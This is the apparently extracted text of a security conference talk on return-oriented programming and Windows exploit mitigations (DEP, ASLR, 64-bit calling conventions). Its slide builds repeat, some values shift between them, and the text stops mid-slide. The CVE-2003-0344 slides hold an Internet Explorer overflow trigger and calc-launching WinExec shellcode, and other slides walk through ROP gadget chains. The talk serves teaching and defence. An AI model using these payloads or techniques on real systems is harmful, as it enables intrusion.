Exploiting Windows Exploit Mitigation for ROP Exploits
Who Am I?

• Omer Yair

• TDAD Endpoint Team Lead at Symantec
  • Speaker at DerbyCon, Virus Bulletin, Zero Nights

• Photography BFA Graduate
  • Exhibited at multiple exhibitions
  • Photo book in the makings

• @yair_omer
“A concept is a brick. It can be used to build a courthouse of reason. Or it can be thrown through the window.”

Gilles Deleuze
Agenda

- Return Oriented Programming 101
- Windows Exploit Mitigations and how to abuse them
- ROP Mitigations and how to bypass them
- Demo
Return Oriented Programming - Timeline

1996

Smashing The Stack For Fun And Profit
Smashing the Stack
For Fun And Profit

Aleph One (Elias Levy)
1996

Street fight against British soldiers, Northern Ireland. Bruno Barbey, 1971
Stack Semantics (x86)

**FuncFirst:**

```assembly
... 0x7F200100 push 0x22002200 0x7F200101 push 0x00110011 0x7F200102 call FuncSecond 0x7F200107 ...
```

**FuncSecond:**

```assembly
0x7F204C00 sub esp, 0x8 0x7F204C03 ... 0x7F204D19 add esp, 0x8 0x7F204D1C ret
```
Stack Semantics (x86)

**FuncFirst:**

```
...  
0x7F200100 push 0x22002200
0x7F200101 push 0x00110011
0x7F200102 call FuncSecond
0x7F200107 ...
```

**FuncSecond:**

```
0x7F204C00 sub esp, 0x8
0x7F204C03 ...
0x7F204D19 add esp, 0x8
0x7F204D1C ret
```
Stack Semantics (x86)

**FuncFirst:**

```assembly
FuncFirst:
... 
0x7F200100 push 0x22002200
0x7F200101 push 0x00110011
0x7F200102 call FuncSecond
0x7F200107 ...
```

**FuncSecond:**

```assembly
FuncSecond:
0x7F204C00 sub esp, 0x8  
0x7F204C03 ...
0x7F204D19 add esp, 0x8 
0x7F204D1C ret
```
Stack Semantics (x86)

FuncFirst:

    ...  
0x7F200100  push 0x22002200  
0x7F200101  push 0x00110011  
0x7F200102  call FuncSecond  
0x7F200107  ...  

FuncSecond:

0x7F204C00  sub esp, 0x8  
0x7F204C03  ...  
0x7F204D19  add esp, 0x8  
0x7F204D1C  ret
Stack Semantics (x86)

FuncFirst:
    ...  
    0x7F200100 push 0x22002200  
    0x7F200101 push 0x00110011  
    0x7F200102 call FuncSecond  
    0x7F200107 ...  

FuncSecond:
    0x7F204C00 sub esp, 0x8  
    0x7F204C03 ...  
    0x7F204D19 add esp, 0x8  
    0x7F204D1C ret

Stack Semantics (x86):

```
0x00802000          0x00000000          0x00000000          0x00000000
0x00804000          0x00000000          0x00000000          0x00000000
0x00000000          0x00000000          0x00000000          0x00000000
0x7F200107          0x00110011          0x22002200          0x7F400123
0x00C0FFEE
```

0x00804000
Stack Semantics (x86)

FuncFirst:

...  
0x7F200100  push 0x22002200  
0x7F200101  push 0x00110011  
0x7F200102  call FuncSecond  
0x7F200107  ...  

FuncSecond:

0x7F204C00  sub esp, 0x8  
0x7F204C03  ...  
0x7F204D19  add esp, 0x8  
0x7F204D1C  ret
Stack Semantics (x86)

**FuncFirst:**

...  
0x7F200100 push 0x22002200  
0x7F200101 push 0x00110011  
0x7F200102 call FuncSecond  
0x7F200107 ...  

**FuncSecond:**

0x7F204C00 sub esp, 0x8  
0x7F204C03 ...  
0x7F204D19 add esp, 0x8  
0x7F204D1C ret
Stack Semantics (x86)

**FuncFirst:**

- ...  
- 0x7F200100  push 0x22002200  
- 0x7F200101  push 0x00110011  
- 0x7F200102  call FuncSecond  
- 0x7F200107  ...  

**FuncSecond:**

- 0x7F204C00  sub esp, 0x8  
- 0x7F204C03  ...  
- 0x7F204D19  add esp, 0x8  
- 0x7F204D1C  ret
int QueryUser()
{
    char buffer[512];
    gets(buffer);
    ...
    return 1;
}
int QueryUser()
{
    char buffer[512];
    gets(buffer);
    ...
    return 1;
}
int QueryUser()
{
    char buffer[512];
    gets(buffer);
    ...
    return 1;
}
int QueryUser()
{
    char buffer[512];
    gets(buffer);
    ...
    return 1;
}
int QueryUser()
{
    char buffer[512];
    gets(buffer);
    ...
    return 1;
}
int QueryUser()
{
    char buffer[512];
    gets(buffer);
    ...
    return 1;
}
int QueryUser()
{
    char buffer[512];
    gets(buffer);
    ...
    return 1;
}
int QueryUser()
{
    char buffer[512];
    gets(buffer);
    ... return 1;
}
int QueryUser()
{
    char buffer[512];
    gets(buffer);
    ...
    return 1;
}
int QueryUser()
{
    char buffer[512];
    gets(buffer);
    ...
    return 1;
}
int QueryUser()
{
    char buffer[512];
    gets(buffer);
    ...
    return 1;
}
int QueryUser()
{
    char buffer[512];
    gets(buffer);
    ...
    return 1;
}
Return Oriented Programming - Timeline

Morris Worm
1988

Smashing The Stack For Fun And Profit
1996
Morris Worm, 1988

- Developed by Robert T. Morris
- Exploited stack overflow on fingerd process
- Affected 10% of internet (estimation)
- Prompted the formation of the CERT Coordination Center

New York City (dog legs)
Elliott Erwitt, 1974
CVE-2003-0344

• Author Skape (Matt Miller)
• Affected IE 5, 5.5, 6.0

<html>
<object type="""">\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\""
</object>
</html>
CVE-2003-0344

0x00803E00

abcd
efgh
0x77d1f92f
push 'calc'
push '.exe'
push esp
call WinExec

0x00804000
CVE-2003-0344

```
0x803E00
  ___/___/___/___/
  ___/___/___/___/
  ___/___/___/___/
  ___/___/___/___/
  ___/___/___/___/
  abc
decd

0x804000
  push 'calc'
push '.exe'
push esp
call WinExec
```
CVE-2003-0344

0x00803E00

[Ret Address] 0x77d1f92f
push 'calc'
push '.exe'
push esp
call WinExec

0x00804000
CVE-2003-0344

[Ret Address] 0x77d1f92f

[Shellcode]
- push 'calc'
- push '.exe'
- push esp
- call WinExec
CVE-2003-0344

[Ret Address] 0x77d1f92f
push 'calc'
push '.exe'
push esp
call WinExec

jmp esp

0x00803E00

0x00804000
CVE-2003-0344

```
0x00803E00
_/_/_/_/_/_/
_/_/_/_/_/_/
_/_/_/_/_/_/
_/_/_/_/_/_/
abcd
efgh

[Ret Address] 0x77d1f92f

[Shellcode]
push 'calc'
push '.exe'
push esp
call WinExec
```

...
Return Oriented Programming - Timeline

1988
- Morris Worm

1996
- Smashing The Stack For Fun And Profit

2004
- DEP
- Windows XP SP2
Data Execution Prevention

- Enforces Read / Write / Execute on memory
Data Execution Prevention

- Enforces Read / Write / Execute on memory
- Cornerstone for ROP
- ROP used as a bridge
  - Read / Write memory vulnerability
  - Setting it to Executable memory
  - Running it

Flower Power
Bernie Boston, 1967
Return Oriented Programming - Timeline

- 1988: Morris Worm
- 1996: Smashing The Stack For Fun And Profit
- 2004: DEP Windows XP SP2
- 2006: ASLR Windows Vista
Address Space Layout Randomization

- Randomizes DLLs base address every boot
- Prevents jumping into known addresses
- Effective mostly on 64 bit processes
  - Low entropy on 32 bit address space
Overlooked Steps of Exploitation

- Vulnerable software code
Overlooked Steps of Exploitation

- Vulnerable software code
- Information Gathering (Arbitrary Read)
  - Stack location
  - System function address(es)
Overlooked Steps of Exploitation

- Vulnerable software code
- Information Gathering (Arbitrary Read)
  - Stack location
  - System function address(es)
- Memory Manipulation (Arbitrary Write)
  - Stack Overflow
  - Heap Overflow, Use After Free,...
Overlooked Steps of Exploitation

• Vulnerable software code

• Information Gathering (Arbitrary Read)
  • Stack location
  • System function address(es)

• Memory Manipulation (Arbitrary Write)
  • Stack Overflow
  • Heap Overflow, Use After Free,…

• Hijack Code Execution
  • A by-product of previous steps (!) + Normal process behavior
Return Oriented Programming

NYC
Helen Levitt, 1938
Return Oriented Programming - Timeline

1988
- Morris Worm

1996
- Smashing The Stack For Fun And Profit

2004
- ASLR
- Windows Vista
- DEP
- Windows XP SP2

2006

2007
- ROP
- "The Geometry of Innocent Flesh on the Bone" by Hovav Shacham
Return Oriented Programming

- The Geometry of Innocent Flesh on the Bone, Hovav Shacham, 2007
- Reuse existing code in memory
  - ret
  - jmp esp
- Leverage stack semantics (call / ret)

NYC
Helen Levitt, 1939
Return Oriented Programming

EIP 0x00402000

Memory

0x00400000

Instruction
Instruction
Instruction
Instruction
Instruction
Instruction
Instruction
Instruction
Instruction

0x00403000

Memory
Return Oriented Programming

EIP 0x00402005

Memory

Instruction
Instruction
Instruction
Instruction
Instruction
Instruction
Instruction
Instruction
Instruction
Instruction
Instruction
Instruction
Instruction
Instruction
Instruction
Instruction
Instruction
Instruction
Instruction
Instruction
Instruction
Instruction
Return Oriented Programming

EIP 0x0040200C

Memory

Instruction
Instruction
Instruction
Instruction
Instruction
Instruction
Instruction
Return Oriented Programming

EIP 0x00402010

Memory

Instruction
Instruction
Instruction
Instruction
Instruction
Instruction
Instruction

0x00400000

Instruction

0x00403000
Return Oriented Programming

EIP 0x00402018

Memory

Instruction
Instruction
Instruction
Instruction
Instruction
Instruction
Instruction
Instruction
Instruction
Instruction
Instruction
Instruction
Return Oriented Programming

ESP 0x00802000
EIP 0x00402018

Memory

0x00000000

0x00802000

0x00000000

0x00802000

0x004020F0

0x00000000

0x00804000

0x07F400123

0x00C0FFEE

0x00000000

0xFFFFFFFF

Instructions

ret

Instructions

ret

Instructions

ret
Return Oriented Programming

ESP 0x00802000
EIP 0x00402018

Instructions
ret

Memory

0x00802000
0x004020F0
0x002020F0
0x7F400123
0x00C0FFEE

0x00000000
Instructions
ret

Instructions
ret

Instructions
ret
Return Oriented Programming

ESP 0x00802004
EIP 0x002020F0

Memory

0x00802000
0x008020F0
0x7F400123
0x00C0FFEE

0x00804000

0xFFFFFFFF

Instructions
ret
Instructions
ret
Instructions
ret
Return Oriented Programming

ESP 0x000802004
EIP 0x002020F9

0x00802000

0x00802004

0x804020F0
0x002020F0
0x7F400123
0x00C0FFEE

Instructions
ret

Memory

0x00000000

Instructions
ret

0xFFFFFFFF

Instructions
ret

0xFFFFFFFF

Instructions
ret
Return Oriented Programming

ESP 0x00802008
EIP 0x7F400123

0x00802000
0x00804000
0x004020F0
0x002020F0
0x7F400123
0x00C0FFEE

0x00802000
0x00804000
0x004020F0
0x002020F0
0x7F400123
0x00C0FFEE

Instructions
ret
Instructions
ret
Instructions
ret
Instructions
ret
Return Oriented Programming

ESP 0x00802008
EIP 0x7F40014F

Instructions
ret

Memory

0x00802000
0x00802000
0x004020F0
0x002020F0
0x7F400123
0x00C0FFEE

0x00804000

0x00000000
0xFFFFFFFF

Instructions
ret

Instructions
ret

Instructions
ret

Instructions
ret
Return Oriented Programming - Gadgets

• A sequence of instructions (+ret) that perform logical operation
  • Copy a value into memory
  • Change memory permissions to Execute
  • Load values into specific registers
A sequence of instructions (+ret) that perform logical operation
  • Copy a value into memory
  • Change memory permissions to Execute
  • Load values into specific registers

Example: Copy data into memory
  mov  eax,  #VALUE
  mov  ecx,  #Destination
  mov  [ecx],  eax
Return Oriented Programming - Gadgets

- A sequence of instructions (+ret) that perform logical operation
  - Copy a value into memory
  - Change memory permissions to Execute
  - Load values into specific registers

- Example: Copy data into memory
  ```
pop eax
pop ecx
mov [ecx], eax
```
Return Oriented Programming

**ESP** 0x00802000
**EIP** 0x004020F0

**EAX** 0x00000000
**ECX** 0x00000000

---

**Stack**

```
0x00802000
0x00802000
0x00802004
0x00802008
0x0080200C
0x00802010
0x00804000
```

---

**Memory / Code**

```
0x000061230
0x0002020F0
0x00061230
0x07F400123
0x00000000
```

---

```
pop ecx
ret

mov [ecx], eax
ret
```

```
0x00000000
0x00000000
```

```
pop eax
ret
```

```
0x00C0FFEE
```

---
## Return Oriented Programming

<table>
<thead>
<tr>
<th>ESP</th>
<th>0x00802004</th>
</tr>
</thead>
<tbody>
<tr>
<td>EIP</td>
<td>0x004020F1</td>
</tr>
<tr>
<td>EAX</td>
<td>0xDEADBEEF</td>
</tr>
<tr>
<td>ECX</td>
<td>0x00000000</td>
</tr>
</tbody>
</table>

### Stack

<table>
<thead>
<tr>
<th>Address</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x802000</td>
<td>0x004020F0</td>
</tr>
<tr>
<td>0x802004</td>
<td>0x002020F0</td>
</tr>
<tr>
<td>0x802008</td>
<td>0x00061230</td>
</tr>
<tr>
<td>0x80200C</td>
<td>0x7F400123</td>
</tr>
<tr>
<td>0x802010</td>
<td>0x00C0FFEE</td>
</tr>
<tr>
<td>0x804000</td>
<td>0x00802000</td>
</tr>
</tbody>
</table>

### Memory / Code

<table>
<thead>
<tr>
<th>Address</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x0061230</td>
<td>0x00000000</td>
</tr>
<tr>
<td>0x2020F0</td>
<td></td>
</tr>
<tr>
<td>0x4020F0</td>
<td></td>
</tr>
<tr>
<td>0x7F400123</td>
<td></td>
</tr>
<tr>
<td>0xFFFFFFFF</td>
<td></td>
</tr>
</tbody>
</table>

- `mov [ecx], eax`
- `ret`
Return Oriented Programming

Stack

Memory / Code

ESP 0x00802008
EIP 0x002020F0

EAX 0xDEADBEEF
ECX 0x00000000

0x00802000 0x004020F0
0x00802000 0xDEADBEEF
0x00802004 0x002020F0
0x00802008 0x00061230
0x0080200C 0x7F400123
0x00802010 0x00C0FFEE
0x00804000

0x00061230 0x00000000
0x002020F0  pop ecx
ret

0x00420F0 pop eax
ret

0x7F400123 mov[ecx], eax
ret

0xFFFFFFFF
### Return Oriented Programming

**ESP** 0x0080200C  
**EIP** 0x002020F1  
**EAX** 0xDEADBEEF  
**ECX** 0x00061230

<table>
<thead>
<tr>
<th>Address</th>
<th>Value</th>
<th>Address</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x00061230</td>
<td>0x00000000</td>
<td>0x00802000</td>
<td>0x0002020F0</td>
</tr>
<tr>
<td>0x00802000</td>
<td>0x004020F0</td>
<td>0x00802004</td>
<td>0xDEADBEEF</td>
</tr>
<tr>
<td>0x00802008</td>
<td>0x002020F0</td>
<td>0x0080200C</td>
<td>0x00061230</td>
</tr>
<tr>
<td>0x00802010</td>
<td>0x7F400123</td>
<td>0x00804000</td>
<td>0x00C0FFEE</td>
</tr>
</tbody>
</table>

- **Stack**
  - ESP 0x00802000
  - EIP 0x002020F1
  - EAX 0xDEADBEEF
  - ECX 0x00061230

- **Memory / Code**
  - Pop ECX
  - RET
  - Pop EAX
  - RET
  - Mov [ECX], EAX
  - RET
  - RET

---

Stack Memory / Code
Return Oriented Programming

ESP 0x0080200C
EIP 0x002020F1
EAX 0xDEADBEEF
ECX 0x00061230

Stack

Memory / Code

0x00802000
0x00802004
0x00802008
0x0080200C
0x00802010
0x00804000

0x00802000
0x00802004
0x00802008
0x0080200C
0x00802010
0x00804000

0x04020F0
0xDEADBEEF
0x002020F0
0x00061230
0x7F400123
0xFFFFFFFF

0x4020F0
0xDEADBEEF
0x002020F0
0x00061230
0x7F400123
0x00C0FFEE

Pop ecx
Ret
Pop eax
Ret
Mov [ecx], eax
Ret
Return Oriented Programming

ESP 0x0080200C
EIP 0x002020F1
EAX 0xDEADBEEF
ECX 0x00061230

Stack

Memory / Code

0x00802000
0x00802000 0x004020F0
0x00802000 0xDEADBEEF
0x00802004 0x002020F0
0x00802008 0x00061230
0x0080200C 0x7F400123
0x00802010 0x00C0FFEE
0x00802010
0x00804000

0x00061230 0x00000000
0x002020F0
0x002020F0 pop ecx
ret
0x004020F0 pop eax
ret
0x7F400123 mov [ecx], eax
ret
0xFFFFFFFF
Return Oriented Programming

ESP 0x0080200C
EIP 0x002020F1
EAX 0xDEADBEEF
ECX 0x00061230

Stack

Memory / Code

0x00802000 0x004020F0
0x00802000 0xDEADBEEF
0x00802004 0x002020F0
0x00802008 0x00061230
0x008020C 0x7F400123
0x00802010 0x00C0FFEE
0x00804000 0x00802000

0x00061230 0x00000000
0x002020F0 pop ecx
0x002020F0 ret
0x004020F0 pop eax
0x004020F0 ret
0x7F400123 mov [ecx], eax
0xFFFFFFFF ret
Return Oriented Programming

ESP 0x00802010
EIP 0x7F400125
EAX 0xDEADBEEF
ECX 0x00061230

Stack

Memory / Code

0x00802000 0x00802004 0x00802008 0x0080200C 0x00802010
0x004020F0 0xDEADBEEF 0x002020F0 0x00061230
0x7F400123 0x00C0FFEE

0x00804000
0x7F400123

0x00061230 0xDEADBEEF
0x002020F0 pop ecx
    ret
0x004020F0 pop eax
    ret
0x7F400123 mov [ecx], eax
    ret
0xFFFF0000 ret
64 bit Call Semantics

- First 4 parameters are passed on rcx, rdx, r8, r9
- 32 bytes are pre-allocated on the stack
- All other parameters are passed on the stack (after pre-allocation)
A64BitFunction(0x00c0ffee, 0, 1, 0xdeadbeef, 0x10101010)
64 bit Call Semantics

A64BitFunction(0x00c0ffee, 0, 1, 0xdeadbeef, 0x10101010)

- push 0x10101010
  - mov rcx, 0x00c0ffee
  - mov rdx, 0xffffffff
  - mov r8, 0x1
  - mov r9, 0xdeadbeef
  - sub rsp, 0x20
  - call A64BitFunction

```
rsp 0x0000000000804040
rip 0x0000000000007f400100
```

```
rsp 0x0000000000000000
rip 0x0000000000007f400100
rcx 0x0000000000000000
rdx 0x0000000000000000
r8 0x0000000000000000
r9 0x0000000000000000
```
64 bit Call Semantics

A64BitFunction(0x00c0ffee, 0, 1, 0xd3aadbeef, 0x10101010)

push 0x10101010
mov rcx, 0x00c0ffee
mov rdx, 0xffffffff
mov r8, 0x1
mov r9, 0xdeadbeef
sub rsp, 0x20
call A64BitFunction
### A64BitFunction(0x00c0ffee, 0xffffffff, 1, 0xdeadbeef, 0x10101010)

<table>
<thead>
<tr>
<th>rsp</th>
<th>0x00000000000804038</th>
</tr>
</thead>
<tbody>
<tr>
<td>rip</td>
<td>0x0000000007f40010c</td>
</tr>
<tr>
<td>rcx</td>
<td>0x0000000000c0ffee</td>
</tr>
<tr>
<td>rdx</td>
<td>0x0000000000000000</td>
</tr>
<tr>
<td>r8</td>
<td>0x0000000000000000</td>
</tr>
<tr>
<td>r9</td>
<td>0x0000000000000000</td>
</tr>
</tbody>
</table>

```
push 0x10101010
mov rcx, 0x00c0ffee
mov rdx, 0xffffffff
mov r8, 0x1
mov r9, 0xdeadbeef
sub rsp, 0x20
call A64BitFunction
```
64 bit Call Semantics

A64BitFunction(0x00c0ffee, 0xffffffff, 1, 0xdeadbeef, 0x10101010)

- push 0x10101010
- mov rcx, 0x00c0ffee
- mov rdx, 0xffffffff
- mov r8, 0x1
- mov r9, 0xdeadbeef
- sub rsp, 0x20
- call A64BitFunction

0x00802000

rsp 0x00000000000804038
rip 0x000000007f400116

rcx 0x0000000000c0ffee
rdx 0x00000000ffffffff
r8 0x0000000000000000
r9 0x0000000000000000
64 bit Call Semantics

A64BitFunction(0x00c0ffee, 0xffffffff, 1, 0xdeadbeef, 0x10101010)

push 0x10101010
mov rcx, 0x00c0ffee
mov rdx, 0xffffffff
mov r8, 0x1
mov r9, 0xdeadbeef
sub rsp, 0x20
call A64BitFunction
64 bit Call Semantics

A64BitFunction(0x00c0ffee, 0xffffffff, 1, 0xdeadbeef, 0x10101010)

push 0x10101010
mov rcx, 0x00c0ffee
mov rdx, 0xffffffff
mov r8, 0x1
mov r9, 0xdeadbeef
sub rsp, 0x20
call A64BitFunction
64 bit Call Semantics

A64BitFunction(0x00c0ffee, 0xffffffff, 1, 0xdeadbeef, 0x10101010)

push 0x10101010
mov rcx, 0x00c0ffee
